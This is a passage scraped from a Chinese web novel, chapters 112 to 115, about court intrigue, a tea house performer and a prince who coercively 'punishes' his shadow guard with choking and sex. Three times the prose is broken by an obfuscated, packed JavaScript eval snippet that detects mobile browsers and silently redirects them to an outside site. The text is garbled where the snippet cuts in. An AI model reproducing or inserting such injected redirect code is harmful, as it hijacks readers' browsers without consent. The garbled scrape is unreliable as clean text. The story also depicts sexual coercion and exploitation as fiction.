天公作美，今日阳光不强，灰蒙蒙似带着些雾气，很适合植株移栽。庄聿白按计划将葡萄园移栽工作分派下去。 草木灰是没有硫磺无法合成药剂的一个替代方案，既然解决了石硫合剂的原材料问题……然哥儿看看这满袋硫磺，抿下唇，还是开了口。 “公子，昨日交代的草木灰，我和我阿叔已经烧好，今日是否还需要用在园中？” 庄聿白明白对方所指：“辛苦然哥儿和阿叔，草木灰先留给暖房幼苗。幼苗已展叶且此时枝嫩根弱，暂用不了石硫合剂。等过几天幼苗移栽时咱们再用。” 然哥儿瞬时懂了，未发芽的一年苗移栽后用药剂，他来了干劲，忽闪着睫毛，眼睛亮晶晶的：“公子说的熬制药剂的铁锅、帷帽等也都准备好了，公子看在哪里合适？” “找一处开阔通风之处即可。不过不急在这一时。先将这袋硫磺和二公子带来的生石灰放在阴凉干燥处。今天晚些时候或明早我们开始熬制。” 然哥儿应着，说此时不煎药的话，他跟着去忙活移栽的事情。刚要走却被庄聿白叫住。 “移栽之事有二公子和周伯盯着，你拿两顶做好的帷帽，随我去趟城中。” 庄聿白将葡萄植株移栽注意事项又强调一遍，从植坑深浅、培土角度、底肥多寡以及第一水的浇灌情况等，每一步都关系能否成活率及今后长势。为稳妥起见，带着然哥儿出发前，还是亲自示范了一株。 “放心吧，有周伯我和在呢。再不济，还有卓叔这些种田老前辈看着。”薛启辰没问庄聿白去城中做什么，他知道庄聿白做事有分寸，也有原则，任何时候都不会乱来，“保证你回来时看到一个齐齐整整的葡萄园！” 庄聿白也笑了：“有你们在，自然是万无一失。” 马车在离悦来茶坊两条街的地方便停了下来。 庄聿白交代然哥儿戴好帷帽在车中等他，不要出去，也不要让人看到他的脸。他去去就回。 “嗯。”然哥儿点头，公子这般安排一定有公子的道理，他不敢多问，可眼底的紧张还是从声音中透出来，“公子……你会不会有危险？” “放心吧。你家公子是谁，怎么会有危险？等会给你带好吃的回来。” 庄聿白下车前也戴好帷帽，将自己遮了个严实。 悦来茶坊门前一如既往欢声笑语不断。招牌下迎来送往的小厮各个训练有素，眉眼弯几分，唇角笑意留多久，都大有讲究。一袭剪裁利落、用料得体的衣衫，通身气派看去哪里像店铺伙计，不知道的还以而是谁家约在此处喝茶的公子哥，正在门前等赴约之人。 那小厮见庄聿白走来，忙上前行礼问好，热络又不失礼节该有的距离感：“公子里边请！请问您几位？雅间还是堂座？” “我找你们九公子。”庄聿白声音不高，但却穿过嘈杂热闹的街市喧闹之声，一字一句清晰地传到对方耳朵里。 那小厮眼神快速上下打量了下庄聿白。他看不清来客长相，更猜不出来客身份。只能看出此人虽一派镇定自若，却没有半分功夫，至少是即便近身行刺也根本威胁不到他家九公子。 平素来茶坊的大多数客人都是冲着九公子来的。不论多财大气粗，多嚣张跋扈的，对悦来茶坊的当家茶伎都是礼敬有加的，从不敢说自己今日就要当面见人。即便是骆家大公子骆耀庭来了，也都是温文尔雅、客客气气的，等九公子忙好坊内生意，空了时才制两盏清茶一同品饮。 所以有人敢直接说找九哥儿，小厮着实愣了一下。 摸不清底细的人，最让人头疼。开门做生意，若客人在门前闹起来，那是大忌。 迎宾小厮垂眸略想片刻，抬手将人向里请：“公子先在此处稍等片刻，小的去看看我家九公子此时是否得空。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462196|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半盏茶的功夫，庄聿白被人带至二楼靠边的一个阁间。 阁间不大，不足十个平方，倒也安静。只是进入其内的一瞬，扑面而来只有两个字，“素净”。 这是九哥儿专属茶室，他留在坊中时，自己有时也会在此处过夜。某种意义上这算是他在喧嚣茶坊中的一个藏身之所。 素色窗纸、素色坐塌，素色蒲团，素色茶具……清素如洗，让人看不出任何喜好，也品不出阁间主人的过往和现状，或者说此间主人根本就没有过往，也不想过多透露自己的现状。 可一个人怎么会没有过往？尤其名动府城的一等一茶伎九哥儿。 或者说，他的过往要么平淡无奇，平淡到他想一笔勾销？ 显然，不是如此。 九哥儿简单致意，请对方落座，便不再说什么，特制了一盏飞天朝露茶待客。点茶分茶一气呵成，操作之娴熟，过程之优雅，属实赏心悦目，连看过云先生制茶的庄聿白都觉得九哥儿之茶技绝非常人所能及。 执瓶注水，悬瓶高冲，水流细润绵长久久不断，承接的杯盏中水面如潭，更无半分波澜。 对方制茶，庄聿白则将这茶室又打量一番。委实什么也看不出。除了室内两人和此时正在用的茶具，其余之处，干净得像是无一分有人来过且活过的痕迹。 到底是怎样的一个人，会连栖身之处的影子也彻底清除掉？ 外人眼中明丽动人、八面玲珑的九哥儿，私下竟有此决然迥异的一面。庄聿白万万没想到。 “多谢九公子送来的硫磺。” 奉客的茶汤已好，九哥儿双手捧盏，恭敬递过来：“硫磺？庄公子说笑了。我何时给公子送过硫磺？” 庄聿白笑笑，接了茶盏，点头致意后，抿了一口不住点头：“果然好茶。香气如兰，清新甘润。不愧是东盛府第一茶魁！” “庄公子谬赞。贵夫婿可是知府大人钦点的茶魁。我不过一小小茶伎，在公子面前也算班门弄斧了。公子不嫌弃也就是我的福气。” 九哥儿说着，面上不卑不亢，挂着永远春风和沐的笑容。 庄聿白又喝了一口茶，平和而坚定地看着对方：“不管九公子承认与否。这硫磺我都会记在九公子名下。但无功不受禄。凡事弄明白由头，这好意才让人受得安心。不是么？” 对方不语，只一味低头做自己那盏茶，庄聿白便兀自说下去：“前些时你刚砸了我家的运货之车，这是当众宣布与薛家、与我们势不两立。九公子是骆家人。骆家的行动意志，便是九公子的行为规则。我们夫夫从未怪过公子。若公子说这硫磺就是补偿那日之事。庄某欣然接受。” “庄公子是来兴师问罪的？”九哥儿谦和地弯着眉眼，不知话中几分玩笑几分认真，“上次之事却是在下之过。庄公子想要怎样的赔偿都可以。庄公子，开价吧。” 庄聿白噙住盏茶茶汤，慢慢咽下，一口接一口。 窗外飞鸟一闪而过，一道影子划过两杯盏茶，打破茶室内慢慢冷却的安静。 “只是如公子所言，九哥儿看去风光，不过是骆家的一条狗。当然，即便是狗，主家也姓骆。而庄公子夫夫与薛家交好。今后，我们少往来，才是对彼此都好。不是么？” 113. 规矩 庄聿白径自推门离开，没再回头。 关于截货对方无需道歉，关于硫磺自己也无需道谢。 有些事，彼此心知肚明便好。他尊重对方的处理方式，不会选择将其曝于光下，更不会以此为筹码去要挟对方什么。 但庄聿白也清楚，今后他与骆家，与效忠骆家的九哥儿，将不可能同席而坐。 良久，九哥儿缓缓转身，抬手推开了窗。 像是永远活在暗处的一个幽灵，万般华丽却又畏光惧亮。可明知如此，他还是选择将手伸了出去。 阳光哗一声灌进来，掷地有声。喉咙哽住的瞬间，九哥儿的瞳孔也跟着猛然一缩。 府城的街道永远熙攘喧闹，那个帷帽遮盖之人在挤挤挨挨的人流中绕了两条街，在相对僻静的拐角上了一辆马车。 九哥儿刚想收回视线，却见车帘掀起，同样帷帽下，一双眼睛远远望过来。只一眼，九哥儿的心却像被紧紧攥了一把。 一阵悸痛。 他知道那双眼睛属于谁，哪怕隔着十几年的光阴，哪怕隔着昨是今非。 骆家绝不可以知道他的存在，若骆睦知道自己还有血亲在时，以他对骆家的了解，为了更好操控自己，什么穷凶极恶的疯狂行径对方都做得出来。 马车在楼上人的视线范围内渐渐消失。 只要对方安好地活在阳光之下，自己永远在暗处看着他护着他又何妨？只要对方能有一个正常安稳的人生，自己永远站在他的对立面，永远做一只阴沟里的臭虫又何妨？ 九哥儿接了些阳光在手上，明亮，微烫，心中却畅快不少。如春风乍来，吹散心头沉积多年的雾霭，须臾竟又浮上些久违的暖意。 九哥儿先行关了窗。门外有人来了。 “九公子，外面茶场已妥当。”小厮来催九哥儿登台献茶。 悦来茶坊的茶舞是每日必备行程，名为答客，实际也是茶坊各路消息互通有无的时机。 台上披帛曼舞、瓶盏流注，台下喝彩不断，见光不见光的消息，随着各色香囊、珠串、玉佩等彩头一起掷向茶台。 九哥儿眼波流转朝台下致意，一眼瞥见人群中的上次那位冷面公子。截货当日此人也来过坊中，且一个人静静坐了足足两个时辰，只是当时九哥儿尚不知此人就是骆睦口中的公子乙。 作为骆家消息网络的核心成员，九哥儿自是听说过公子乙，只是此人鲜少离京，更鲜少在如此热闹的场合露面。 公子乙只效忠一人，他到府城来自是奉了上头主子之命，有紧要之事来找骆家家主。自己一个下九流的小茶伎自然入不了公子乙的眼。 可第六感告诉九哥儿。公子乙来茶坊的目的，却是自己。 九哥儿逐一执瓶端盏向茶客们敬茶。不论厅堂还是雅间，台下坐的大都是熟客，九哥儿边奉茶边热略地同人一一寒暄招呼。 偶有玩得开的主，嘴上也会带些七七八八的话语，不过也只敢趁着九哥儿心情好时玩笑两句，若说论真格的，他们并不是没想过，也并不是不愿意，只因他是九哥儿，骆家二少骆耀祖惦记这许多年不也没到手么。 九哥儿，对他们而言，只有看的份儿。这是府城所有公子哥儿约定俗成的规矩。 不过今日九哥儿眉梢似有喜意，刚喝了九哥儿奉的茶之人，像喝了假酒一般，乜斜着眼笑得满脸春光：“九哥儿的腰肢越发有劲儿了。我新得了几斛暹罗国运来的珍珠，明日都带来与你缝在这腰身的绸带上，可好？” “张公子客气了。”九哥儿见对方欲伸未伸的手，向后退了半步，脸上笑容未变，“我可听说了，和这几斛珍珠一起进张府的，还是有两房小夫人。若珍珠都给了我，她们岂不伤心，小心回家跟你哭闹！” 声色犬马，向来最能迷人心性。心神荡漾之际，凡事皆好促成。利益交换的最佳场所，在酒桌，也在床榻。 骆家深谙此道，深通此道。虽是茶坊，到了夜场，出钱多的主儿也是可以选一二茶伎近身伺候的。至于多近身，一则看钱多寡，二则也看来客的家世背景。 更甚者，带回府中慢慢享用也是可以，只是第二日清早需完好无缺送回茶坊。不过“完好无缺”这条规矩，并不是凭空捏造，就是因为此前有不知轻重的主儿，一时玩开了开大了，手上没个轻重，外出过夜的茶伎伤残情况并不少见。 虽说只是骆家牟利的物件工具，但工具坏了，没了功用，不也是一笔损失么？骆家不做亏本生意。为追求利益最大化，骆家自是会施恩去照料看顾这些茶伎。 伶伎的严苛教习中，风月欢好自是重要一项。茶伎们一开始便知。只是这一项，九哥儿暂不需要。因为他目前的首要任务是骆家茶坊的当家茶伎，这个身份需要他保持清白洁净之身。 暂时不需要，不代表永远不需要。他们只是精心调教好的商品，与盏中茶、碟中果一般无二，即便再珍贵稀缺，都是需要飨客的。 至于客是谁，如何飨，何时飨，商品从来没有选择余地，更没有说不的权力。 难道今日就到了需要进献自己的时刻？ 九哥儿的心猛地揪起来，后背一阵阵发冷，似有万千冰泉淌过周身，让他忍不住心中颤了几颤。 不过细想，似乎又觉哪里不对。 若今日需要自己陪公子乙，家主不会不来知会他。九哥儿又快速扫了眼人群，确定今日放在并无家主之人。也就是说，公子乙今日之行，与家主无关。 虽然公子乙代表上头主子，骆睦见了他都需恭敬礼让，但毕竟骆家还有可用价值，公子乙不会做出格之事。且看此人做风，一副君子做派，沉稳矜持，静默得像一尊佛雕的影子，若不是九哥儿一开始便留意到他，猛一看还以为他所在的雅间无人呢。 九哥儿稍稍放了心。他垂下眼眸，万众瞩目下快速整理好情绪，复又笑容饱满地斟了一盏茶奉与近旁茶客。 雅间朝茶场一面有窗，茶舞表演时推窗看舞。表演结束，关了门窗，便成了喧闹茶坊中一个相对封闭的空间。 此时，公子乙所在的雅间门窗已然关闭。 台上其他茶伎操作的茶舞仍在继续。另有一班杂技在场下活络气氛，现场复又喧闹起来。 九哥儿下意识理了下衣襟，站在公子乙雅间外，深吸半口气，抬手轻巧窗棂。 “进。”声音在喧嚣的茶坊中越发显得清冷，听不出一丝情绪。 九哥儿推门而入，迎面却是一道压迫感极强的视线扫来。 公子乙端坐在那里，冲着九哥儿稍稍抬眉。九哥儿会意，将门在身后掩上了。 阁间登时静下来，与咫尺外的茶坊外场似乎不在同一时空。 “公子，请试试新制的飞天冰露茶。” 九哥儿咽了下喉结，虽是自己的茶坊，在面前这位茶客的注视下，自己倒像个外来客一般，竟有些怯场。 “九哥儿。”对方接过茶，先是耐人寻味地唤声名字，然后若有所思顿了顿，接着惜字如金给了个评价，“很好。” 很好？茶好，还是人好？九哥儿猜不出。 “谢公子赞誉。” 九哥儿回以非常合乎社交礼仪的笑容， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473919|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他也不打算多寒暄，恭敬立在一旁，只待对方示意后立马抬脚离开。阁间里的压迫感实在太强，他有些呼吸不上来。 “一万两银子，你做得很好。”公子乙看出九哥儿并不知自己赞他什么，索性挑明，“虽不合乎规矩，我回去会向主子秉明，是你的功劳。” 公子乙盯着九哥儿的眼睛，特意将“你”说得重些。 不过一个不苟言笑之人，越是严肃地盯着你，越是让人浑身紧张，见惯大场合的九哥儿一颗心竟然也砰砰砰跳个不停。 “九哥儿不敢贪功劳，是家主栽培，是公子抬举。”九哥儿越发谦恭，一双眸子只敢盯着地砖。 “无需紧张，主子惜才爱才，此事会保你今后平安。”公子乙想起手中茶，喝了一口，不动声色品了品，“茶也不错。” 茶盏控于一双薄茧满覆的手中，稳稳放置在一旁茶几上。手指离开茶盏的一瞬，手的主人旋即起身并向九哥儿迈了半步：“若有人为难你，不必一味隐忍。” “……”这话，九哥儿不敢接。交浅言深不足取，这个道理他懂。 他将头垂得更低些，素日的经验告诉他，以他的身份，此时越谦卑越安全。 “硫磺之事，莽撞了。”公子乙对上九哥儿终于迎上来的视线，那双眸子虽极力保持平静，惊诧中甚至还是带出被人当面拆穿秘密的恐惧，“不过此事只你我二人知晓。放心。” 九哥儿的硫磺是他夜半时分亲自去了趟城南十里巷钱员外家“买”来的。 理由是二少爷马上要去西境，需多带些药材防身。但骆家药铺中的硫磺往来进出皆有账目，一时少了这许多，皂吏等都是要过问的，“所以在贵处借一百斤应急。” “一百斤？！” 那钱员外刚哆哆嗦嗦从小姨娘身边爬出来，浑浊的眼睛一下瞪圆了，他深知骆家的行事作风，胡乱扯过衣衫裤子往身上穿，“九爷，您饶了小老儿。哪有一百斤硫磺！我若有这本事，府衙大牢早坐穿了。” 九哥儿没时间与他废唇舌：“贵府这私产井盐之事……” 打蛇打七寸，被捏住命门的钱员外将家中所有的三十斤硫磺拿了出来。 做人留一线，九哥儿只取了一半。临走又掏出十两银子。生意就是生意。 此事九哥儿自认自己做得天衣无缝，可公子乙又如何得知？ “我不会问你为何需要硫磺，也不关心你最后将其送与何人。”公子乙慢条斯理又不带任何情绪地看着九哥儿，目光坦荡且直白。“万一被人知晓，只管推到我身上。明白？” 一向八面玲珑的九哥儿，等客人已经走出了雅间，方意识到既没有出于礼貌的致谢，甚至连基本的送客之礼都忘了。 九哥儿站在原地兀自出神时，庄聿白的马车已经驶进各庄。 心中盘算了一路的然哥儿终于试探性地开了口：“公子一开始就猜到硫磺是九哥儿送的，对吧。” “你不好奇他为什么帮我们？”庄聿白偏头看着对方。 “为什么帮我们。因为公子是好人，得道者多助。”然哥儿说得认真。 庄聿白忍不住大笑起来，果然高帽子人人喜欢，情绪价值满满的。当然他明白然哥儿并不只是为了哄他开心。 “那你觉得九哥儿之人怎样？” 然哥儿想了一会儿：“才华横溢，气质如兰，温文尔雅又不失少年气。” 庄聿白没料到这么多悦耳的词竟然可以用在同一个人身上，他提醒道：“是他带人打了你……” “也是他帮了我们的忙，不是么？” 114. 惩罚 懿王府，西暖阁。 晴好日光透过明瓦，将双交四椀花棂窗影打在如雪似霰的白狐裘上。 懿王赵措斜倚着三足紫檀凭几，慵懒地坐在榻上，不时拂几下搭在腿上的狐裘。狐裘通体洁白，无一根杂色毫针。 “这皮子不错，你送我母妃的那几张紫貂皮子。也有心了。” “能得惠妃娘娘和殿下的青睐，是这皮料的造化。臣不敢居功。”兵部尚书萧之仁恭敬谦肃地立在一旁，腰身越发弯下去。 萧之仁是懿王之母惠妃的娘家族弟，若论辈分，赵措应当称其一声表舅舅，能坐稳兵部这个位置，当然因着惠妃荫蔽。 当然天家威严，君臣有别，萧之仁清楚自己可担不起得宠皇子懿王殿下称自己舅舅。若是懿王私下敢称自己舅舅，那也就意味着到了萧之仁献出自己这条老命的时候。 “只是看人的眼光差了些，何时能有认皮料眼光的一半，本王也就省心了。”赵措语气冰冷，终于抬起眼皮看了萧之仁一眼。 萧之仁当即老膝着地，跪在赵措脚下：“都是老臣之罪，老臣也没想到武举中选出的那云无择这般骁勇，短短数月便屡获战功，现在已平步升至校尉。” “武举不是你们兵部在管？” 萧之仁扯起袖子擦了擦额间冷汗：“是老臣在负责，入选名单早已备好。只是现场杀出个云无择，不同俗务便罢，谁知武功委实是好，直接拿了东盛府武举场的第一。当时是可以运作的，奈何南时纠集一些清流从中作梗，加上云无择的表现是大庭广众下比出来的，实在是没办法不将其列在名单上。” “南时，”赵措神情幽冷，这个名字他已经许久没听到了。 南时是三皇子赵拓的启蒙老师。赵措最看不惯的就是这位皇兄，整日一本正经，时不时还下田躬耕，不知作秀给谁看。 “他不早就悠游山水、寄情写志去了么，怎么又跑到东盛府兴风作浪？” “东盛府有个三省书院，南时暂时在那教书，应该是想换点盘缠。不过去岁冬天开始就往南去了，许久没有影子，大抵真的是效仿陶公，东篱隐居去了。” 一个早就失势之人，多年之后仍能对朝中事产生影响，这不应该。这很值得警惕。 “着人留意他些。”赵措眸底一沉，“以及三皇子与他这位恩师是否有联系，这云无择是不是三皇子之人？” 萧之人眨了眨眼睛，认真思考片刻：“南时与京中已无往来。这云无择么，莽夫一个，根本不懂得人情经营。虽说军中名气渐盛，更别提远在京中的三皇子这里了。” 西暖阁置了几架落地屏风。日影愈斜，已经爬上一架透雕紫檀框镶螺钿山水画屏风。赵措面上与萧之仁交谈，视线却时不时偏过去。 见赵措半日不说话，萧之仁也跟着朝那屏风后望过去。不过什么也没看见。 “殿下放心，这云无择暂时不足虑。倒是长公主军心士气大增。年末述职长公主虽未回京，但战功却在京中传了许久：大捷3次、小胜18次，收复失地三千亩，缴获俘虏2千余名，又有骏马260匹……” 赵措冷哼一声，白了萧之仁一眼，抬手打断萧之仁这一长串“报菜名”似的军功陈列。 “长公主终究是一介女流，当年那骆瞻若是没死，她就能安生在京相夫教子。放着好日子不过非要跑去那鸟雀全无的地方打打杀杀。” “西境并非无鸟雀，塞雁鸿鹄等就很常见……额，老臣是说，长公主为民守境，功在社稷……不，老臣想说的是，长公主战功再盛，哪及殿下在圣上跟前操持国是辛苦，殿下您的功劳是最大的。” 赵措的话实在不好接。但萧之仁属实也不算什么聪明人。 “还有你那好兄长也是个不争气的！”赵拓眼中带着狠厉，“当年那骆瞻都已经死了，我父皇连赐婚的圣旨都已经拟好。他倒好，当众做出那般龌龊事，别说长公主不乐意，连一直促成此事的我母妃都无法再替其求情。若长公主嫁到薛家，何至于眼下本王这边无军功可傍！” “殿下，当年事出有因，我兄长他……”薛之仁急得跪直了身子，正要解释几句，榻上人眼中的冰冷凶光一下让他被压得蔫了回去。 赵措叹口气，眼前人忠心自是天地可表，但能力着实一般，有时甚至可以算作蠢笨。 不过忠心和能力相比，赵措选前者。能力，找人补齐便是。 “新一批去往西境的名单，你将骆睦家那第二子加上。有他在，骆家旧部还是能笼络住一些。不过那是个中看不中用的草包，武举台上竟被一只狗拽掉了裤子。也是奇事。” 虽远在京中，武举场上的各路新鲜事，赵措可是一件也没落下。他想象着当时的“盛况”，蔑视地笑了笑。 “本王这里新筹了五千银子，你凑成一万两，置办些精良物资，再去选些真正得力之人跟到西边。本王只要战功，不管你用什么方法。” 跪在地上之人明显一怔。 赵措语气冰冷，明显不悦：“是凑不齐一万两，还是选不出有用之人，哪一样办不成？” “不不不，都办得成！办得成！” “办得成还跪在这里做什么？等我请你吃茶吃果子？” 地上的萧之仁慌忙站起来，边整理衣摆官帽，边恭敬后退，刚要转身辞去又被提名叫住。 “萧之仁，那云无择若能识趣归顺最好，若不能…… 赵措眼底露出阴鸷：“熬鹰懂么？能驯服之鹰，方能为我所用；若不服驯，下场只有一个。明白？” * 萧之仁领命退了出去，抬手擦去额头冷汗前，将西暖阁的房门仔细关上了。 西暖阁是这位懿王殿下的私人场所，除了跟几位朝中重臣讨论紧要之事外，几乎不允许旁人踏足。一应侍卫仆役等也都在院落外候命，非传不得入。 但有一人例外，那就是乙。 暖阁内只剩赵措一人，他若不经心又看了眼那架镶螺钿山水画紫檀屏风，然后晃响手边的一枚银铃。 “叮铃” 一身夜行衣的乙，从那架屏风后闪出来，单膝跪在他主子脚下。 影子般无声无息。 “回来了。”赵措声音懒洋洋，眉毛轻挑。 他缓缓垂下眸子，视线缠在脚边之人身上。这个在自己面前消失了数日的影子，终于归了位。 赵措将人上下里外勾勒着，打量着。看了又看，并没有看出什么变化。 哼！他不在近旁服侍的这几日，本王餐饭都用得少些，他倒好，一路舟车劳顿却不见清减半分。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480036|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “抬起头。” 指令被执行后，赵措看着这张自己一手调教过的脸，心中涌出一种莫名情绪，他伸出的手滞在半空，须臾收了回来。 白狐裘下，一只蝠纹绣金朝靴慢慢伸出来，顿了片刻，沿着对方胸襟一路向上，最后停在对方脖颈处。 脚尖轻收，迅速勾住对方下巴。 “胆子越发大了，敢比规定时间晚回来一个时辰。” “奴才知罪。”乙的下巴被搞搞抬起，一双眸子却只敢乖顺垂着，整张脸冷峻恭敬中透出几分倔强。 “可清洗干净？” 赵拓的视线仍缠在对方身上。脚上力气却卸了，在对方以为惩罚结束刚要放松之际，脚尖换个方向，重重踩在凸起的喉结上。 “……”乙眉间微蹙，他吃痛将另一只膝盖也点在地上。眸底闪过的冷意，瞬间传遍周身。 该来的终归会来。 身为暗卫，自己离开主子的时间超过半日，哪怕是带着命令离京，哪怕带着无上功劳回来，都必须接受惩罚。 这是规矩。主子立的规矩。 乙懂规矩，他来领罚。 “按照主子亲手教习要求的方法……已反复清洗三遍。” 喉结被紧紧踩着，乙不能后退半分，他吃痛地将每一个词都说得清晰明了。 隔着上好绸缎缝制的靴底，喉结的每一次滚动，都清晰准确地传递到赵拓的脚心。 赵拓眉毛轻轻上扬，身体前倾，视线强势压过来：“那还等什么？” 话说这样说，靴底却未离开喉结半分，甚至更用了些力气。 乙双膝跪地，身体微微后仰，负手背在身后，就这般腰身笔直地双膝跪在那里。 “你不在的这些时日，本王筷子下一共出现了14种点心果子和5种蜜饯。本王都给你留着。” “……是。” 赵措将脚从喉结上收回来，看着通红的脖颈，又从怀中掏出一方帕子，不无怜惜地轻轻替人擦拭. “别动。”赵措下了指令，起身绕过屏风拎回来一个大食盒，一碟一碟摆至塌旁的案几上。 他拈了一块栗子酥，递到乙的唇边。 “张口。” “咽下去。” “继续。” “再来一颗。” “不要停。” …… 赵措亲手将近二十种果品，居高临下、不容分说地一口一口喂进乙的嘴里。 良久，看了眼空空如也的碟子，赵拓满意地点下头，唇角挂上让人不寒而栗的笑。 “乙，可以开始了。” 乙终于被允许站起来，他默默转身将暖阁的明瓦花棂窗打开，暮色渐沉，冰冷晚风迎面打过来。乙不由打了个冷战。 受罚时要门窗大开，这也是规矩。 院内虽没有侍从，但院落外护卫仆役都是随时待命的。他们没资格，也不配看到乙受罚。但乙的每一次受罚，赵措都要他们清清楚楚听见。 雨露雷霆，都是君恩。 乙清楚接下来等待他的是什么，他没的躲，他也躲不开。若他胆敢有一丝一毫犹豫或退缩，受到的惩处便会更加不堪。 “衣服全部脱掉。”身后人发来新的指令，“去榻上跪好。” 115. 第 115 章 仲春的夜风，冷意习习，海浪般一阵一阵扑上滚烫的身体。 乙下意识抖了一下。暖阁中“雪中春信”的香气也被凉风吹得四散飘忽，这种浓淡不均的不确定感，越发让人意乱情迷。 暖香混杂着熟悉的汗腥，在乙的鼻间萦绕。 乙一双青筋爆出的手，深深陷进那条雪白的狐裘。 乙始终保持清醒。他是一名暗卫，不论何时何地何种情形下，护得主子周全，是他的首要职责。 情爱，不论身心，都不是他该觊觎的。更不是他配拥有的。 不过血肉之躯终非铁石，随着身后动作，乙的眉头还是蹙起来，额角青筋簌簌跳动。 乙极力调匀呼吸。 “吱嘎——吱嘎” 不知何时起，夜风猛烈灌入，窗棂被撞击得发出怪响，伴着那恼人的节奏。 下位者恐饶了身上人兴致，微微扭头，试图寻找时机将窗户关上。 “无碍，”上位者节奏如一，动作未停，甚至更加了力气，气息粗粝，急迫中不无恼怒，“……别动。” 良久。 懿王赵措扶着紧实的腰身，从乙身上退下来。 “穿上衣服。” 赵措下了指令，脸上满是餍足后的疲惫。 榻上人捡起地上的衣服，起身去了屏风那侧。动作利落，步履如常。 慵懒侧瘫在凭几的赵措，目光紧紧跟随。 镶螺钿紫檀屏风那侧，隔着镂空缝隙，一道人影窸窣微动。 赵措自认自己是个慈悲的主子。他给对方留足时间，他准许对方自行解决，在自己的暖阁里。 还有“雪中春信”，只有“惩罚”乙时才会燃起的这道香，是他花了不少精力调制出的。 说起这道香，赵措嘴角挂起一抹不屑的狞笑。 懿王妃竟然偷偷派人在寻这道香的方子，真以为得到了这道香就能留住本王？笑话。 母妃什么都好，就是强行塞给自己的这个王妃，不过一愚蠢花瓶。王妃之位，金玉之资，全给了她，竟还不满足。 屏风那侧的人影，定了定，然后是穿衣的动作。这一套流程，赵措很熟悉，只是时间比平时略久了些。 他回味着乙的这次表现，可以称得上满意。进程中似乎还出现了一股从未有过的滋味。至于具体是什么，赵措一时也说不好。 不过不仅不讨厌，甚至还想得到更多。 亲密欢好过程中，对方身体的细微变化，哪怕一分一毫的异样，紧密相连的另一方也能第一时间感知。 赵措将那条狐裘盖回腿上，手指缓缓滑过柔顺的皮毛，一点点寻找刚才留下的温度和痕迹。 乙还是一如既往的乖顺，每个指令都能准确执行，而且极有分寸。赵措觉得比他身边的任何一个幕僚都更像君子。 但赵措就是觉得哪里不一样了，细小的、隐蔽的变化，浮上屏风那侧之人。 这分毫之差，如一道缝隙在赵措心中隐隐裂开。赵措不喜欢这种不确定感。 乙一身夜行衣穿戴齐整。衣襟、袖腕等一丝不苟，像是天生自带的装束，将人衬托得越发冷峻威仪。 赵措看着眼前肃穆如禁欲菩提一般的乙，又想到他方才褪去衣衫后的景色，心旌不禁摇曳起来。 乙垂手侍立在一旁，做回那道两人都熟悉的影子。 影子是没有情绪的，没有主观意志，更没有喜好。主子的指令，就是他的行动准则。主子的利益，就是他的人生全部。 赵措盯着这道影子，复又打量了许久。 夜，罩下来，西暖阁窗外的院落漆黑一片。没有懿王指令，没人敢进来上灯。 一支红烛，在窗内亮起，晃出两道安静的身影。 懿王心中的缝隙越裂越大，终于按捺不住，他一把捏紧乙的下巴，低声威胁：“看着我。” 指甲陷进皮肉，渗出血。 一双没有波澜的眼睛，映出跳动的红烛。 “你有事瞒我？”懿王问他的影子，随后又改了口，“不，你有事…求我。” 一定是。 方才的欢好景象和过程中那从未有过的感受，再次刺激到懿王的神经。 心中那道缝隙猛地扯开，似有万千地狱而来的罗刹从那缝隙中跳出。 赵措怒从中起。 “方才在榻上，你主动迎合我。” 赵措终于发现了哪里不对。 一个影子而已，承受便是。可他竟敢主动回应自己！ 不知死活。 影子没有说话，连浓黑的睫羽也是一动未动。整个人似抽去了灵魂，将自己完全交付于，任人摆布。 没否认，就是默认。 “除了骆睦，此行你还见了谁？” 赵措捏紧下巴，一张脸压得更近。另一只手转着拇指上的一枚玉扳指，极力控住胸中怒气。 “骆家悦来茶坊的茶伎，九哥儿。”影子如实回答，神情坦诚，“此次一万两银子，皆出自他之手笔。” “茶伎？”懿王缓缓直起身，松了手上力气。 不过一个下九流之辈，他相信自己调教出来的暗卫，眼光绝不会差到去看上一个伶伎。 刚才给乙擦拭喉结的巾帕又递了过来。 根据指令，乙接过巾帕，抹去下巴血迹，又将九哥儿筹钱之法，细细向懿王秉明。 懿王虽未原谅对方，但怒气明显消了不少。他回转身不去看乙，若有所思地在暖阁内踱起步子。 “我说呢，骆睦这么痛快给出银子，一万两他竟连半句哭难之辞都没递上来。原来这钱不仅没出在他身上。这钱，也不是他筹来的。跟了我这么多年，这老东西竟还不如一个茶伎。” “九哥儿虽为茶伎，但才华极好……” 乙说到一半，戛然止语。话一出口，他便知自己犯了致命错误。 听者，同样错愕、震惊。 